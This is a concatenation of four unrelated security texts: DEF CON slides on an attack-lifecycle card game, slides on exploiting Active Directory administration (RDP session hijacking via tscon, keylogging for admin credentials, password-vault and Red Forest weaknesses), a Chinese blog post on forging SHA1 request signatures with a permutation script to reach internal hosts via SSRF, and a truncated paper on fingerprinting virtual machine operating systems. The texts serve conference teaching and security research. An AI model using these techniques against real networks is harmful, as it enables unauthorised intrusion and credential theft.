Maelstrom: Are you playing with a full deck? Using an Attack Life Cycle Game to Educate, Demonstrate and Evangelize DEF CON 24 #cybermaelstrom Shane Steiger, Esq. CISSP © 2016 $ whoami ~messing with computers since 1989 - TIN, PINE, yTalk, Lynx, MUDs, etc. ~8 years in a large food manufacturer helping to build and secure SCADA/ICS systems across 90+ food manufacturing plants in the US. ~6 years building out a security function in one of the largest pharmaceutical drug distributors in the US. ~currently Chief Endpoint Security Architect in a large tech company building out the roadmaps for desirable Cyber Resiliency techniques in the endpoint space. ~much better than family law! I am more of a geek. $ disclaimer ~the views and opinions are purely my own based on time in the industry and experience. They don’t necessarily reflect the views, positions or policies of my employer. ~oh yeah....this presentation and discussion is not intended to give legal advice nor form any kind of attorney/client relationship. I am not your attorney and some of the things you might find interesting may require consultation with your own attorney (not me ). $ agenda ~journey picking strategies - who wins? ~attack life cycle primer ~why study attack lifecycles? ~what do effective defensive strategies look like? ~exercises in building out your defensive strategies ~...maybe there is something more here... $ strategy journey ~from a past life, I was asked by a CIO ‘do they win?’ ~later, asked to look at a solution for over 300k endpoints ~like most folks – look at requirements, functions, capabilities and operationalization ~hmmmm....wow I got a pretty heat map that doesn’t seem very useful in terms of selecting things at large scale ~‘do they win’ stuck with me to develop better strategic choices $ Lockheed Martin Kill Chain Phases ™ Reconnaissance • Research, ID/selection of targets • Email addresses • Social relationships • Target technology & topology Weaponization • Combining an exploit with a payload to establish/maintain access by attacker Delivery • Transmission of weapon to target environment Exploitation • Exploit is triggered on target Installation • Payload is executed Command and Control • Communication and control is established between attacker and target Act on Objectives http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf Recon/Pivot Destruction Exfiltration $ Lockheed Martin Kill Chain Phases ™ *misnomer Reconnaissance • Research, ID/selection of targets • Email addresses • Social relationships • Target technology & topology Weaponization • Combining an exploit with a payload to establish/maintain access by attacker Delivery • Transmission of weapon to target environment Exploitation • Exploit is triggered on target Installation • Payload is executed Command and Control • Communication and control is established between attacker and target Act on Objectives http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf Recon/Pivot Destruction Humiliate PlantInfo DoS Ransom/Deface Exfiltration *defender is the actor in a kill chain! $ tortuosa concept–charting attacker’s progression Recon Weaponization Delivery Exploit Install C&C Act on Objective Attack Execution Over Time What does this look like? $ tortuosa concept – attacking the attacker’s plan ~what does this look like? Looks like a Gantt Chart! A project plan! Attackers are organized indicating plan progression for campaigns ~what other evidence have we seen to indicate the attackers seem to follow a plan if not a traditional project plan? Different time schedules indicating 'shift work’ Different skill levels from the same attackers indicating different ’resources or teams’ Different teams using different tool sets Follow scripts and make mistakes redoing work or retrying task $ tortuosa concept – attacking the attacker’s plan Attack the Attackers’ Project Plan! IT organizations are experts at messing up project plans. Mapping these plans can reveal weakness in the attackers’ plan. https://en.wikipedia.org/wiki/Project_management_triangle $ tortuosa concept – attacking attacker’s plan What can we do to disrupt the attacker’s project plan? ~ Time: Strategies to attack – ‘assumed linear time’ Replays Snapshots Predecessors and Successors – feigning completion ~ Resources and Tools: Attack the ‘shift work’ Create resource unavailability – maybe APT Team F uses Cloudflare (during Team F stage block Cloudflare) Create resource contention – flood targets? Different teams using different tool sets ~ Scope: Create scope creep utilizing deception with fake targets or tarpits ~ Cost: Increase setting the attacker back in progression increases cost to them thereby decreasing cost to defender to remediate ~ Quality: Create noise and anomalies – attackers, automation and scripts are disrupted $ tortuosa concept – charting attacker progression Recon Weaponization Delivery Exploit Install C&C Act on Objective Attack Execution Over Time Persistence Disruption $ tortuosa concept – charting attacker progression Recon Weaponization Delivery Exploit Install C&C Act on Objective Attack Execution Over Time Tool Unavailability $ tortuosa concept – charting attacker progression Recon Weaponization Delivery Exploit Install C&C Act on Objective Attack Execution Over Time Orchestrated False Targets $ tortuosa concept – attacking attacker’s plan ***https://www.mitre.org/publications/technical-papers/cyber-resiliency-engineering-framework $ tortuosa concept – attacking attacker’s plan Mapped: Axiom, Cleaver, Dark Hotel, FIN4, 02Hero, SAPU4ALL, StuckOnUrDC $ got the plans, let’s build catalog of attack patterns Recon Exploratory Phishing Attacks Port Scans Google/Shodan Search Weaponize Custom Toolset/0- day exploit Criminal Commodity Framework Metasploit Module/PoC toolset Delivery RCE on internet facing host Malicious email attachment Malicious URL Exploit Buffer Overflow Privilege Escalation Malicious leverage of user’s rights Install Executed dropper pulls rootkit code Installation of new backdoor via inline-code Initial exploit modifies existing service/code C&C SSL connection over arbitrary port HTTP/HTTPS posts back to attacker C&C host Data xfer via DNS query A/O (Pivot & Recon) controlled host used to scan for open fileshares (Destruction) drive of controlled host is wiped (Exfiltration) documents found on controlled host are sent back to attacker $ build catalog of attack patterns – light ‘em up Recon Exploratory Phishing Attacks Port Scans Google/Shodan Search Weaponize Custom Toolset/0- day exploit Criminal Commodity Framework Metasploit Module/PoC toolset Delivery RCE on internet facing host Malicious email attachment Malicious URL Exploit Buffer Overflow Privilege Escalation Malicious leverage of user’s rights Install Executed dropper pulls rootkit code Installation of new backdoor via inline-code Initial exploit modifies existing service/code C&C SSL connection over arbitrary port HTTP/HTTPS posts back to attacker C&C host Data xfer via DNS query A/O (Pivot & Recon) controlled host used to scan for open fileshares (Destruction) drive of controlled host is wiped (Exfiltration) documents found on controlled host are sent back to attacker $ building the attacker deck Build catalog of attack patterns – 8/2015*** Persistence Privilege Escalation Credential Access Host Enumeration Defense Evasion Lateral Movement Command and Control Exfiltration New service Exploitation of vulnerability OS/Software Weakness Process enumeration Software packing RDP Common protocol, follows standard Normal C&C channel Modify existing service Service file permissions weakness User interaction Service enumeration Masquerading Windows admin shares (C$, ADMIN$) Common protocol, non-standard Alternate data channel DLL Proxying Service registry permissions weakness Network sniffing Local network config DLL Injection Windows shared webroot Commonly used protocol on non- standard port Exfiltration over other network medium Hypervisor Rookit DLL path hijacking Stored file Local network connections DLL loading Remote vulnerability Communications encrypted Exfiltration over physical medium Winlogon Helper DLL Path interception Window enumeration Standard protocols Logon scripts Communications are obfuscated Encrypted separately Path Interception Modification of shortcuts Account enumeration Obfuscated payload Application deployment software Distributed communications Compressed separately Registry run keys / Startup folder addition Editing of default handlers Group enumeration Indicator removal Taint shared content Multiple protocols combined Data staged Modification of shortcuts AT / Schtasks / Cron Owner/user enumeration Indicator blocking Access to remote services with valid credentials Automated or scripted data exfiltration MBR / BIOS rootkit Operating system enumeration Pass the hash Size limits Editing of default handlers Security software enumeration Scheduled transfer AT / Schtasks / Cron File system enumeration ***https://attack.mitre.org/wiki/Main_Page $ building the attacker deck Build catalog of attack patterns – 8/2015*** Persistence Privilege Escalation Credential Access Host Enumeration Defense Evasion Lateral Movement Command and Control Exfiltration New service Exploitation of vulnerability OS/Software Weakness Process enumeration Software packing RDP Common protocol, follows standard Normal C&C channel Modify existing service Service file permissions weakness User interaction Service enumeration Masquerading Windows admin shares (C$, ADMIN$) Common protocol, non-standard Alternate data channel DLL Proxying Service registry permissions weakness Network sniffing Local network config DLL Injection Windows shared webroot Commonly used protocol on non- standard port Exfiltration over other network medium Hypervisor Rookit DLL path hijacking Stored file Local network connections DLL loading Remote vulnerability Communications encrypted Exfiltration over physical medium Winlogon Helper DLL Path interception Window enumeration Standard protocols Logon scripts Communications are obfuscated Encrypted separately Path Interception Modification of shortcuts Account enumeration Obfuscated payload Application deployment software Distributed communications Compressed separately Registry run keys / Startup folder addition Editing of default handlers Group enumeration Indicator removal Taint shared content Multiple protocols combined Data staged Modification of shortcuts AT / Schtasks / Cron Owner/user enumeration Indicator blocking Access to remote services with valid credentials Automated or scripted data exfiltration MBR / BIOS rootkit Operating system enumeration Pass the hash Size limits Editing of default handlers Security software enumeration Scheduled transfer AT / Schtasks / Cron File system enumeration ***https://attack.mitre.org/wiki/Main_Page $ building the attacker deck Build catalog of attack patterns – Updated 10/2015, more coolness coming 7/2016 *** ***https://attack.mitre.org/wiki/Main_Page $ do they win - building the defender deck Defensive Strategies to Each ATT&CK Technique – Complimentary Cards Persistence Privilege Escalation Credential Access Host Enumeration Defense Evasion Lateral Movement Command and Control Exfiltration New service Exploitation of vulnerability OS/Softwa re Weakness Process enumeration Software packing RDP Common protocol, follows standard Normal C&C channel Modify existing service Service file permissions weakness User interactio n Service enumeration Masquer ading Windows admin shares (C$, ADMIN$) Common protocol, non-standard Alternate data channel DLL Proxying Service registry permissions weakness Network sniffing Local network config DLL Injection Windows shared webroot Commonly used protocol on non- standard port Exfiltration over other network medium Hypervisor Rookit DLL path hijacking Stored file Local network connections DLL loading Remote vulnerability Communications encrypted Exfiltration over physical medium Winlogon Helper DLL Path interception Window enumeration Standard protocol s Logon scripts Communications are obfuscated Encrypted separately Path Interception Modification of shortcuts Account enumeration Obfuscat ed payload Application deployment software Distributed communications Compressed separately Registry run keys / Startup folder addition Editing of default handlers Group enumeration Indicator removal Taint shared content Multiple protocols combined Data staged Modification of shortcuts AT / Schtasks / Cron Owner/user enumeration Indicator blocking Access to remote services with valid credentials Automated or scripted data exfiltration MBR / BIOS rootkit Operating system enumeration Pass the hash Size limits Editing of default handlers Security software enumeration Scheduled transfer AT / Schtasks / Cron File system enumeration ***https://attack.mitre.org/wiki/Main_Page - 8-2015 $ tortuosa concept – attacking attacker’s plan While Mapping Noticed Something ~ Some defensive techniques appear most often – Invest!!!! Progression disruption – Time Build anomalies and fake targets with trips – Scope Creep Deception of phase exit – Predecessor/Successor ~ Some strategies seem to have little payoff but high investment Don’t bang head here!!!! ~ This made sense! Spending time buried in Cyber Resiliency Engineering Framework – This validated the findings and was common sense https://www.mitre.org/publications/technical-papers/cyber-resiliency- engineering-framework http://www2.mitre.org/public/industry-perspective/ $ tortuosa concept – attacking attackers’ plan Noticed something more… ~ ….maybe a game? Got an Attacker Deck Got a Defender Deck Got a Progressive Board with Lockheed Martin Attack Lifecycle $ maelstrom – are you playing with a full deck? Board Game Mock Up – Attacker Red Deck – Defender Blue Deck $ maelstrom – are you playing with a full deck? Card Anatomy – Progression, Cost, Upkeep, Usage – Build a Story $ maelstrom – are you playing with a full deck? 60+ unique attacker cards and 70+ unique defender cards $ maelstrom – are you playing with a full deck? 60+ unique attacker cards and 70+ unique defender cards $ maelstrom – are you playing with a full deck? 12 unique threat actor chips – face down $ maelstrom – are you playing with a full deck? 11 unique act on objectives – face down in middle $ maelstrom – are you playing with a full deck? Game Board Mockup – General Rules ~ 3 Versions – Easy, Tactical, Strategic ~ Dealt cards (easy), actively pick cards (tactical) or buy cards (strategic) ~ Choose number of attacker players ~ Attackers choose their Threat Actor ~ Attackers choose their Act on Objectives ~ Attackers seek to get to Act on Objectives through progression to win ~ Defenders prevent progression from Act on Objectives ~ Defender wins if sets the attacker pieces back to Delivery 3 times or Recon 2 times $ maelstrom – are you playing with a full deck? Game Board Mockup – Game Play – Yeah its playable!!! $ maelstrom – are you playing with a full deck? Use Cases ~ Education Learn an Attack Life Cycle concept and make it part of a vocabulary Build a security mindset in defenders who don’t do offense ~ Demonstration Mini table top exercises Defender practice - Investigator pattern recognition Analysis and strategies for choosing technologies to win Cost/Benefit analysis ~ Evangelism Gamification as marketing Helps to get the message to non security folks $ build catalog of attack patterns – get more… Mockup Done – Now Game Tweaks ~ Official Rules Have general rules and game play ~ More Cards Missing certain cards in certain phases More Opportunistic cards ~ Rationalization Progression steps in a 1-6 effectiveness – Picked 6 because of a dice Cost rationalization based on a 1000 seat company ~ Prior Art Hacker, Hacker II, Ctrl-Alt-Hack, Elevation of Privilege, Exploits, STIXITS, Cyber Attribution Dice No one has an Offensive and Defensive game play with a progressive board based on research $ maelstrom – are you playing with a full deck? Reaping Benefits Now ~ Example play for MITRE and Mini Table Tops – MITRE’s 5th Cyber Resiliency Invitational (5/2015) Current incidents with investigators Mapping defensive strategies to technology choices – use case validation and development ~ Predicted products and spaces Ramp up to PoC for startups coming out of stealth Input for development work ~ Educational mechanism for some new team members – expanding concept ~ Built rich discussion for vendor feedback on products and feature requests $ build catalog of attack patterns – get more… Next Steps ~ Pursue ~ Submit work for upcoming CON talks, get input ~ Map to current attack patterns and developing patterns and play games ~ Played multiple rounds with investigators, red team members, engineers and others ~ Produce lessons from games ~ Digitizing and creating open source framework*** (wanna help?) ~ Expansion packs ~ Non-technical game development for kids (Spyder) ~ Let others play and update their decks, watch their decks and collect strategies ;) ~ LASTLY, digitize and let the ‘Machine Rise and Play Itself’… $ where to get maelstrom stuff Contribute, follow, volunteer, get the latest developments! For DEF CON CD/Archive viewers, go to these links for all updates… ~ twitter.com/cybermaelstrom ~ github.com/maelstromthegame/defcon24 ~ to print your copy of the game ~ cards, poker chips - makeplayingcards.com (working on getting a sku with the vendor to print) ~ game board – download the file from github above and print at FedEx ~ adding cards – use twitter above for peer review ;) and possible addition ~ watch twitter and github for digitized version (contact twitter to volunteer to help) $ credits ~ATT&CK Framework • https://attack.mitre.org ~Cyber Resiliency Engineering Framework • https://www.mitre.org/capabilities/cyberse curity/resiliency • http://www2.mitre.org/public/industry- perspective/ ~Gerard Laygui ~Garrett Adler ~Collin Frietzsche ~Brent Thibido ~Jerry Decime ~Cale Smith ~Tom Van Setten ~George Mckee ~Logan Browne ~Darlene Leong $ sources • [1] https://www.dhs.gov/what-security-and-resilience • [2] https://www.whitehouse.gov/the-press- office/2013/02/12/presidential-policy-directive-critical- infrastructure-security-and-resil • [3] http://www.whitehouse.gov/the-press- office/2013/02/12/executive-order-improving-critical-infrastructure- cybersecurity • [4] https://en.wikipedia.org/wiki/Cyber_Resilience • [5] https://www.mitre.org/publications/technical-papers/cyber- resiliency-engineering-framework • [6] https://www.mitre.org/sites/default/files/pdf/11_4436.pdf • [7] https://www.mitre.org/publications/technical-papers/cyber- resiliency-engineering-aid-the-updated-cyber-resiliency • [8] https://www.mitre.org/sites/default/files/publications/pr-15- 1334-cyber-resiliency-engineering-aid-framework-update.pdf • [9] https://www.enisa.europa.eu/activities/Resilience-and- CIIP/national-cyber-security-strategies-ncsss/ScotlandNCSS.pdf • [10] https://www.axelos.com/best-practice-solutions/resilia • [11] https://blogs.microsoft.com/cybertrust/2016/02/11/working- to-increase-the-cyber-resilience-of-cities-around-the-globe/ • [12] http://www2.mitre.org/public/industry-perspective/index.html • [13] http://www2.mitre.org/public/industry-perspective/guidance- executives.html • [14] http://www2.mitre.org/public/industry-perspective/guidance- architects.html • [15] http://www2.mitre.org/public/industry- perspective/slicksheets/disrupting_the_attack_surface.html • [16] http://csrc.nist.gov/publications/drafts/800- 160/sp800_160_draft.pdf • [17] http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800- 53r4.pdf • [18]http://www.lockheedmartin.com/content/dam/lockheed/data/c orporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf • [19] http://mena.boozallen.com/content/dam/MENA/PDF/resilience-in- the-cyber-era.pdf • [20] https://www.hexiscyber.com/news/hot-topics/pt-2-integration- automation-key-achieving-cyber-resilience $ questions? $ backup slides if anyone goes there $ tortuosa concept – attacking attackers’ plan ~…so agile you say $ tortuosa concept – attacking attacker’s plan ~ what can we do to disrupt the attacker’s project plan? Agile SCRUM Methodology Stories: • Replays • Snapshots • Predecessors and Successors – feigning completion Sprints : • Create resource unavailability – Maybe APT Team F uses AWS (during Team F stage block AWS) • Create resource contention – Flood targets? • Different teams using different tool sets • Build Project Backlog: • Change Priorities: • Cost: Increase Time and Backlog https://en.wikipedia.org/wiki/Scrum_(software_development)
pdf
Exploiting Active Directory Administrator Insecurities Sean Metcalf @Pyrotek3 ABOUT • Founder Trimarc (Trimarc.io), a professional services company that helps organizations better secure their Microsoft platform, including the Microsoft Cloud. • Microsoft Certified Master (MCM) Directory Services • Speaker: Black Hat, Blue Hat, BSides, DEF CON, DerbyCon, Shakacon, Sp4rkCon • Security Consultant / Researcher • Active Directory Enthusiast - Own & Operate ADSecurity.org (Microsoft platform security info) AGENDA • Where We Were & Where We Are Now • Blue Sharpens Red • Old-School AD Admin Methods • The New School Methods • Exploiting Administrative Assumptions • The Latest “Best Way” to Admin AD (& How to Bypass It) • Conclusion Where We Were • In the beginning, there were admins everywhere. • Some environments actually had almost as many Domain Admins as users. • This resulted in a target rich environment with multiple paths to exploit. • Traditional methods of administration are trivial to attack and compromise due to admin credentials being available on the workstation. Where We Are Now • Organizations are slowly & gradually improving defenses. • Limit privileged rights • Reduce admin group membership • Reduce rights down to what's actually required • Limit Admin logon capability & location • Group Policy or user logon controls • This is definitely a step in the right direction, but still does not *solve* the issues with how administration is typically done • Mostly still performed from a regular workstation Blue Sharpens Red (& vice versa) • if you were used to running your standard playbook and never made it past Chapter 1, know that this will change (if it hasn't already). • There will always be weaknesses to exploit, but defenders are getting better. Red needs to adapt. • What do you do when the standard playbook doesn’t work? Old-School AD Administration • Logon to workstation as an admin • RunAs on workstation and run standard Microsoft MMC admin tools ("Active Directory Users & Computers“) • RDP to Domain Controllers to manage them Old-School AD Administration • Logon to workstation as an admin • Credentials in LSASS • RunAs on workstation and run standard Microsoft MMC admin tools ("Active Directory Users & Computers“) • Credentials in LSASS. • RDP to Domain Controllers to manage them • Credentials in LSASS on remote server & keylog locally for creds. The New School of Administration • No RunAs on workstations with admin rights. • RDP to Admin/Jump Server which may require two-factor/multi- factor auth. • AD Admin credential authentication may be limited to specific admin servers and DCs. Demo: Bloodhound Exploiting Administrative Assumptions • Read-Only Domain Controllers (RODCs) are often deployed and misconfigured. • Sometimes attributes contain passwords (or other sensitive info). DEMO: How to determine what systems the Admins are authorized to logon to (using LDAP calls to AD) and probe those systems for enabled protocols (WMI, WSMan/PowerShell Remoting, etc). Attacking the Password Vault Attacking Password Vaults • Companies are frequently turning to password vault technology to help improve administrative security. • Tend to be either CyberArk or Thycotic SecretServer. • PV often has a “reconciliation” account which is a DA to bring accounts back into compliance. Password Vault Management • Password vault maintains DA account(s) • Admin connects to website & authenticates to the PV. • Admin gets a password to use with the DA account • Admin is proxied via the webserver through a RDP session to an Admin server or DC Password Vault Weaknesses • Authentication to the PV webserver is typically performed with the admin’s user account. • Connection to the PV webserver doesn’t always require 2FA/MFA. • The PV servers are often administered like any other server. • Anyone on the network can send traffic to the PV server(s). Admin Servers Jump (Admin) Servers • If Admins are not using Admin workstations, keylog for creds on admin’s workstation. • Discover all potential remoting services. • RDP (2FA?) • WMI • WinRM/PowerShell Remoting • PSExec • NamedPipe • Compromise a Jump Server, 0wn the domain! Sean Metcalf (@PyroTek3) TrimarcSecurity.com Hijacking the Admin/Jump Server • Get Admin on the server • Get SYSTEM • Run tscon.exe as SYSTEM ”if you run tscon.exe as the SYSTEM user, you can connect to any session without a password” https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to- move-through-an-da2a1e73a5f6 Sean Metcalf (@PyroTek3) TrimarcSecurity.com Sean Metcalf (@PyroTek3) TrimarcSecurity.com Alexander Korznikov demonstrates using Sticky Keys and tscon to access an administrator RDP session — without even logging into the server. https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to- move-through-an-da2a1e73a5f6 Sean Metcalf (@PyroTek3) TrimarcSecurity.com Red Forest Red/Admin Forest Discovery • Check trusts for 1-way trust where the production AD trusts another AD forest and Selective Authentication is enabled. • Enumerate group membership of the domain Administrators group for a group or groups that are in this other forest. The Latest “Best” Way to Admin AD & How to Get Around It • Several organizations have deployed an Admin Forest and often ignore the primary production AD since all administrators of the AD forest are in the Red Forest. • They often don't fix all the issues in the prod AD. • They often forget about service accounts. • Target agents on Domain Controllers. • Identify systems that connect to DCs with privileged credentials on DCs (backup accounts). Recommendations Conclusion • Most organizations have done "something" to better secure their environment • It's often not enough, though some are successfully detecting pentest/red team engagements. https://twitter.com/HackingDave/status/959131987264057345 https://twitter.com/malcomvetter/status/959913399592239104 • Summarize how to better operate in these "more secure" environments and what is needed. • Recommendations you can pass on to customers to help them improve their admin hygiene and security.
pdf
2021/12/15 下午2:02 记⼀次SSRF漏洞挖掘 - depy https://blog.happysec.cn/index/view/375.go 1/3 depy 记一次SSRF漏洞挖掘 2021年12月15日 / 网络安全 入口点发现 找到一处接口,结构如下 各参数组成 1.src 文件地址 2.type 文件类型 3.access_key 请求密钥(这里默认) 4.src_sig 文件签名 5.expire 有效期(这里默认为0 永久有效) 通过参数fuzz可知,文件签名与其他四要素有关。如果没有五要素匹配,则无法访 问文件。 分析 文件签名长40位,推测是sha1加密。且与四要素有关联性,故无需碰撞。 所以任务是,推测出src_sig的生成方法。 https://***.***.***/***?src=内⽹图⽚地址&type=jpg&access_key=previ 2021/12/15 下午2:02 记⼀次SSRF漏洞挖掘 - depy https://blog.happysec.cn/index/view/375.go 2/3 本来一开始,只有4个要素的时候,我可以自动排列组合拼接。测试了几十次,却没 有一次成功。怀疑缺少其他默认数据或者是加了畸形变化,当然也有可能是加了 盐。 如果sig加了盐或者做了奇怪的变化算法不是简单的拼接(比如把某项值md5一 下再拼接),那基本就不用破解了。如果没有,我们需要找一下是否还有其他的默 认元素。 对于一个文件的默认元素,并且还方便提取的估计只有文件md5了。下载文件到本 地,做一次md5。 拿到hash之后,我们的排列组合的元素达到了5个。这时,组合的成本实在太高 了。毕竟有120种组合方式,得一直弄好几个小时。 脚本编写 现在我们需要对五个元素排列组合: 1.0 2.access_key 3.jpg 4.文件地址 5.文件md5 使用到python3中的itertools库和hashlib库。 设置target为我们的目标src_sig,代码大致如下 import itertools import hashlib 2021/12/15 下午2:02 记⼀次SSRF漏洞挖掘 - depy https://blog.happysec.cn/index/view/375.go 3/3 非常幸运的是破解成功了 可以看到是一个ak排列第一,时间戳排最后的拼接生成sha1方式。 于是我们就可以伪造地址和sig来做内网ssrf请求了。 strs = [] #需要排列组合的元素列表 target = "" #⽬标sha1 data = '' count = 0 for i in itertools.permutations(strs,len(strs)): #根据元素列表个数 count= count+1 for j in range(0,len(strs)): #拼接元素 data = i[j]+data a = (hashlib.sha1(data.encode("utf-8")).hexdigest()) #做sha1 print(a) if(a == target): print('签名验证成功!') #签名匹配 print(i) #⽣成这个元素的排列⽅式 print() print(str(count))
pdf
Operating System Fingerprinting for Virtual Machines Nguyen Anh Quynh Email: [email protected] Abstract In computer security field, Operating System fingerprint- ing (OSF) is the process of identifying the OS variant and version. OSF is considered an important stage to decide security policy enforced on protected Virtual Machine (VM). OSF is also the first step of VM introspection pro- cess. Unfortunately, current OSF techniques suffer many problems, such as: they fail badly against modern Oper- ating System (OS), they are slow, and only support lim- ited OS-es and hypervisors. This paper analyzes the drawbacks of current OSF ap- proaches against VM, then introduces a novel method named UFO to fingerprint OS running inside VM. Our solution fixes all the above problems: Firstly, it can rec- ognize all the available OS variants and (in lots of cases) exact OS versions with excellent accuracy, regardless of OS tweaking. Secondly, UFO is extremely fast. Last but not least, it is hypervisor-independent: we proved that by implementing UFO on Xen. 1 Introduction OSF is the process of understanding which OS is running on a particular machine. OSF is helpful for the admin- istrators to properly decide the security policy to protect their systems. For example, assume that we want to pro- tect this machine against the Conficker worm [10]. If we know that this machine runs Linux, which is not ex- ploitable by Conficker, we do not need secure it. But if that machine runs a specific version of Microsoft Win- dows, we have to look more closely: in case the OS is Windows 7, we can safely ignore the problem, because Conficker does not affect this Windows edition. But if the OS is Windows XP SP3, which can be remotely com- promised by this worm, we should put a firewall around the machine to prevent the attack, and possibly IDS/IPS must be deployed on the network path to monitor the threat. One more motivation for our research is that knowing the VM’s OS is important for memory introspection on VM [6]: memory analyzing can only be done when we know exactly the OS version of the OS inside the VM, because every OS variant, and also OS version, is very different in the internal structure. This research explores available methods to perform OSF on VM, to help the VM administrators to keep track of the OS-es installed inside their VMs. The reason is that in reality, each VM can be rented by different per- son, and runs whatever OS that the VM’s owner setup inside. Even initially the administrator knows exactly the OS installed in a particular VM, which might not be true anymore after that, because the VM’s owner can upgrade his OS anytime. This is the actual case with Windows OS: Windows XP users can upgrade their OS to Win- dows Vista, then to Windows 7 with ease. The other problem he must frequently cope with is to protect un- known VM, with unknown OS, which might be migrated into his physical machines anytime from the cloud. Unfortunately, available OSF approaches against VM have many problems. Firstly, they fail badly against modern OS-es having none or minimal customization. Secondly, some methods are not as fast as we would de- sire: they might take at least few dozen seconds for one target. Lastly, some methods depend on the hypervisors, and can only recognize particular OS-es. We propose a novel method named UFO to solve these outstanding issues: UFO can recognize all the available OS-es variants, and even their exact versions, with excel- lent accuracy. We perform fuzzing fingerprints, so UFO can also deal with OS having non-trivial customization. The other benefit is that UFO is extremely fast: the fin- gerprinting is done in in milliseconds. Besides, it sup- ports all kind of hypervisors. We proved that by imple- mentations for Xen [14] and Microsoft Hyper-V [9]. 1 2 Available OSF Solutions for VM This section discusses the current problems of available OSF solutions for VM, then proposes several require- ments for a desired OSF tool for VM. 2.1 Network-based OSF Many OSF tools, such as nmap [5] and xprobe [15], have been introduced to actively perform remote OSF via net- work. While these tools are traditionally used against physical systems, they can be perfectly employed to fin- gerprint VMs exposed to the network, too. However, all the network-based OSF methods suffer some major problems: they either rely on scanning open ports on the target, or on examining the replied packets. Unfortunately, nowadays modern systems tighten their setup, thus remote OSF fails in many cases. For exam- ple, Windows 7 disables all the network services by de- fault, therefore close all the TCP/UDP ports. As a result, nmap cannot find any open ports, thus have no informa- tion to perform fingerprinting. The on-by-default firewall on Windows 7 also drops all the ICMP packets, so leaves no chance for xprobe, who relies on ICMP data to work. The other problem is that network-based OSF is quite slow: nmap, a tool having a lot of optimization, typically takes at least 30 seconds on one target, even when we run nmap on the host VM, against a guest VM on the same physical machine. This problem is unavoidable, because nmap has to scan thousand ports on the target, then must wait for the responses, with specific timeout. Last but not least: it is a trend that the administrators are more aware of OSF issue, and start to deploy anti- finger OS solutions, such as ipmorph [12], in their sys- tem to fool all the current network-based OSF methods. The fact that the tool like ipmorph is free and easy-to-use renders network-based OSF obsolete in many cases. 2.2 Memory Introspection Memory introspection is the method of inspecting and analyzing the raw memory of the guest VM from the host VM, to understand the context and status of the guest [6]. This technique can disclose unlimited information about the guest OS, including even OS version and op- tions. While memory introspection sounds like a solution for our problem, however memory introspection must be done in the other way around: we should know exactly the OS runs inside the guest first to apply the right intro- spection method to analyze its memory. Unfortunately, there are a lot of OS-es to be recognized, and even with the OS source code in hand, understanding the OS inter- nals to extract the desired information is far from trivial. Paper [4] proposed an interesting method to finger- print the OS without having to know the OS internals, that is to compare the hash value of the first code frag- ments of the interrupt handlers with known OS-es. The authors claimed that this is possible because the interrupt handlers vary significantly across OS types and versions. However, this idea misses an important point: the bi- nary code depends on compilers, compiler versions, and also compiler settings used to compile the OS. For open source OS, such as Linux, *BSD or OpenSolaris, the ker- nel can be recompiled by users using whatever compiler and compiler options they want to. In such a case, even with the same source code, the interrupt code might vary accordingly, and the hash value of the interrupt handler greatly change. Consequently, the method of [4] fails to recognize the OS, even if the OS internals are unchanged. 2.3 Inspecting File-system Content Another solution is to mount the guest file-system (FS), extract out special files and analyze their contents for in- formation on OS variant and version. This approach is feasible because in principle, the host VM can access to the guest’s FS, and reads its content. This method is al- ready used by a tool named virt-inspector [8]: it mounts the FS, then extracts out and analyzes the registry files for Windows version [7]. However, there are some significant problems with this approach. Firstly, if the guest uses unknown FS, it is impossible for the host to mount its FS and access to its content. For this exact reason, the solution is not re- ally portable to non-Unix hypervisors, such as Microsoft Hyper-V, with the host VM is based on Windows OS. Indeed, currently Windows can only understand ext2 FS [1], but fails to recognize various other important FS-es in Linux world, which can be used in Linux-based VM running on Hyper-V. Secondly, in case the guest encrypts the FS (which is a reasonable way to provide some security and privacy for guest VM in cloud environment), it is practically impos- sible for the host to understand the FS content. Bottom line, we can see that all the available solutions examined above are not quite capable to solve the OSF problem for VM. We desire a better OSF tool with the following six requirements: (1) It gives accurate finger- print result, with details on the target OS version. (2) It does not depend on the compiler using to compile the OS. (3) It is more resilient against OS tweaking. (4) It is not easy to be fooled by currently available anti-OSF tools. (5) It is faster, and should not cause any negative impact on the guest performance. (6) It can work with all kind of hypervisors. On the other words, it should be hypervisor independent. Our paper tries to solve the OSF problems against 2 VMs running on the Intel platform, the most popular ar- chitecture nowadays. 3 UFO Design Within the scope of this paper, we put a restriction on UFO: UFO does not try to fingerprint the real-mode OS- es. We just simply report that the guest VM is operating in real-mode if that is the case, without trying to dig fur- ther. While this is a limitation of UFO, it is not a big problem in reality, because most, if not all, modern OS- es mainly function in protected mode to take advantage of various features offered by Intel architecture. 3.1 Intel Protected Mode Protected mode is an operational mode of Intel compati- ble CPU, allowing system software to utilize features not available in the obsolete real-mode, such as virtual mem- ory, paging, etc.. Intel organizes system memory into segments, allow- ing the OS to divide memory into logical blocks, plac- ing in different memory regions. In protected mode, each segment is represented by segment selector, seg- ment base and segment limit. The segment selectors are represented by six segment registers CS, DS, ES, FS, GS and SS. All the segment information is stored inside a ta- ble called Global Descriptor Table (GDT). The base and limit of GDT are kept in GDTR register. When switch- ing from real-mode to protected mode, OS must setup the GDT, using the LGDT instruction. Protected mode OS also needs to initialize the Inter- rupt Descriptor Table (IDT), where put all the interrupt handlers of the system. The position and limit of IDT are kept in a register name IDTR, and IDT must be setup by the LIDT instruction. OS can manage its tasks with a register named Task Register (TR). TR contains the segment selector of the Task-State-Segment (TSS), where kept all the processor state information of the current task. TR points to the GDT, thus can also be represented by segment selector, segment base and segment limit. To provide strong isolation between privilege execu- tion domains, Intel defines four rings of privilege: ring 0, ring 1, ring 2 and ring 3 (Typically, the OS kernel runs at ring 0, and applications run at ring 3). At any moment, the machine is functioning in only one of these rings. An OS might use some special registers specific to hardware, but supported in all the modern CPU, like MSR EFER to control various features of the CPU, such as 64- bit OS (to support 64-bit mode), fast-syscall (to enable faster execution system call, using modern instructions such as SYSENTER and SYSCALL), and non-executable (also called NX in short, to allow marking of memory pages as non-executable to prevent execution 